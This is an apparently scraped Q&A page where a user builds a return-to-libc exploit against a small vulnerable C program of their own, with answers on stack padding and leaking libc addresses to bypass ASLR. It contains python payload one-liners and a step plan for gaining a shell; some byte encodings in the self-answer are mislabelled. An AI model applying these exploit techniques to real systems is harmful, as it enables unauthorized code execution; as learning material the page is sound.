Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

Return into libc attack

Tags:

I am trying to implement return-to-libc attack on the below code using format string attack vector.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
   char a[10];
   scanf("%s",&a);  
   printf(a);
   return 0;
}

I have figured out the address of the system() using p system command in gdb. And by inspection of the stack frame using x/500s $esp, I figured the environment variable's address which contains \bin\sh.

system: 0xf7e2cda0 
exit: 0xf7e209d0
\bin\bash: 0xffffd207

With these things in place, I constructed the below format string:

python -c 'print "A"*14 + "\xbc\xcd\xff\xff" + "\xa0\xcd\xe2\xf7" + "\xd0\x09\xe2\xf7" + "\x07\xd2\xff\xff"' > inp

where 0xffffcdbc - 0x4 is the local address which contains system address 0xf7e2cda0 value.

I compiled the program using gcc -m32 -fno-stack-protector -o sh sh.c and ran it using gdb sh. Upon execution, on entering r<inp, I get the below output

gdb_output

As seen above, there's some error command which is shown and I get to the shell only after running r command again. Could someone explain what am I missing here so that I get to the shell directly?

Also, when I tried to execute the program above without gdb ( by ./sh < inp) by offsetting the gdb address, I get a segmentation fault error. I am assuming this can be solved once the above fix gets corrected.

Kindly answer by giving a complete working exploit - most of the tutorials online use argv[1] in explaining the similar problem but I wish to get the exploit working without the use of arguments.

Thanks!

like image 385
re3el Avatar asked Apr 03 '18 01:04

re3el


People also ask

What does a return to libc attack achieve?

A "return-to-libc" attack is a computer security attack usually starting with a buffer overflow in which a subroutine return address on a call stack is replaced by an address of a subroutine that is already present in the process executable memory, bypassing the no-execute bit feature (if present) and ridding the ...

What is return to system call attack?

A return-to-system-call attack is usually starting with a buffer overflow in which the return address on the stack is replaced by the address of another instruction and an additional portion of the stack is overwritten to provide arguments to this function.

Do Canaries protect against return to libc attacks?

No, it doesn't. It makes it more difficult to perform return-to-libc or ROP but it is definitely no silver bullet against such attacks.

What is a stack smashing attack?

Stack smashing is a form of vulnerability where the stack of a computer application or OS is forced to overflow. This may lead to subverting the program/system and crashing it. A stack, a first-in last-out circuit, is a form of buffer holding intermediate results of operations within it.


2 Answers

First, you're constructing a pure stack-base overflow, not format string payload.

The libc function system() would work with gdb even if its parameter is not valid. For example, the call system("asdasd") still gives you a shell in gdb (with error messag e pop out, that's what you've seen), so your payload basically didn't locate the /bin/sh correctly.

You should put a padding between the address of system and the address of /bin/sh (a lot of pwn beginners forget this), e.g.

print 'A'*padding_to_ret + addr_system + padding + addr_binsh

For x86 calling convention, Once a function is called, the arguments are push, next the return address, so when ROP-chain take system as return, $esp is now pointing to the position at padding, so the parameter /bin/sh ($ebp+0x4) should be right next to padding.


For the last you mention you want to construct a payload without argv helping, yes it's possible, but you need to have a chance to leak libc address to defeat ASLR to get the address of /bin/sh (you can find this string in libc).

Take the code you provided as example :

  1. scanf("%s, &a)
    • Construct something like %x%x or %9$x for next printf to leak some libc address on the stack.
    • Overwrite return address by main to do another reading.
  2. printf(a)
    • Receive leak address, calculate libc base address and other useful function like system_addr = libc_addr + system_offset.
  3. scanf("%s, &a)
    • Now you know the address of system and /bin/sh, construct the ROP chain above to gain control.
like image 178
poming Avatar answered Sep 25 '22 01:09

poming


Finally after some days of research, I have figured out the problem. It wasn't that the address of the /bin/sh string was wrong or that you only need a \bin\sh string address location from libc library to get this to working, but all that you need is a nop sled of 4 bytes at the end of the address of the string that you have placed. So, in essence, my attack string would like this

python -c 'print "A"*14 + "\xbc\xcd\xff\xff" + "\xa0\xcd\xe2\xf7" + "\xd0\x09\xe2\xf7" + "\x07\xd2\xff\xff" + "\x90\x90\x90\x90" ' > inp

or in the cases where you are writing a /bin/sh directly into your buffer, something like the below string would work

python -c ' print "A"*14 + "\xbc\xcd\xff\xff" + "\xa0\xcd\xe2\xf7" + "\xd0\x09\xe2\xf7" + "\x84\xce\xff\xff" + "\x5c\x73\x68\0" + "\x90\x90\x90\x90" ' > inp

where \x5c\x73\x68 (hex for \bin\sh) is stored in the buffer at \x84\xce\xff\xff

Note: I sometimes also observed that the addresses that you write at a specific location don't somehow show up. It is in these cases that you should do padding to ensure that everything gets stored at their respective locations.

like image 22
re3el Avatar answered Sep 27 '22 01:09

re3el